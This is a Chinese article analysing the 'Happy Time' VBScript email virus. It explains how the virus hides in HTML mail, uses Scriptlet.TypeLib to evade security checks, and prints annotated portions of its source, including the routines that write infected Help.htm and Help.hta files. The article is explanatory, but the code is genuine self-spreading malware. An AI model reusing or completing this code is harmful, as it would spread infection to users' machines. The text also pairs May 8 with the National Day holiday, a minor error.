5月8日—国庆长假后的第一天,一个全新的病毒“欢乐时光”使不少国内的电脑纷纷“中招”;此后,又于6月7日再次爆发。各大媒体大肆渲染,推波助澜,许多人不敢收信甚至不敢上网,一时间,搞得国内人心惶惶。

  “欢乐时光”其实是一种邮件病毒,但它不同于前段时间大行其道的“美丽莎”和“爱虫”,此病毒并不至身于附件,而是藏身与邮件体之中。一旦用户将鼠标移至带有“快乐时光”病毒体的此种邮件上,未等看到邮件就已中招,许多人未曾料到,因此“欢乐时光”得以以此种迅捷的方式泛滥成灾。

  “欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。
 
  下面让我们来看看它藏在快乐的外衣下的是什么吧!

'*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")  
Set Oh = CreateObject("Shell.Application")
'建立枚举对象,避开了安全审核
If IsHTML Then
'调用IsHtml函数,如果是Html,就小写……      
  mURL = LCase(document.Location)
  If mPath = "" Then
    Os.Reset      
    Os.Path = "C:\Help.htm"
    Os.Doc = Lhtml()
Os.Write()
'如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
'超文本的内容,并指向C:\Help.Htm
    Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
  Else
    If Iv(mPath, "Help.vbs") Then
       setInterval "Rt()", 10000
    Else
       m = "hta"
       If LCase(m) = Right(mURL, Len(m)) Then
         id = setTimeout("mclose()", 1)
'设置超时条件
         main
       Else      
         Os.Reset()
         Os.Path = mPath & "\" & "Help.hta"
         Os.Doc = Lhtml()
         Os.write()
         Iv mPath, "Help.hta"
'生成Help.hta
       End If
    End If
  End If
Else
  Main
'都不是,就执行main函数   
End If
End Sub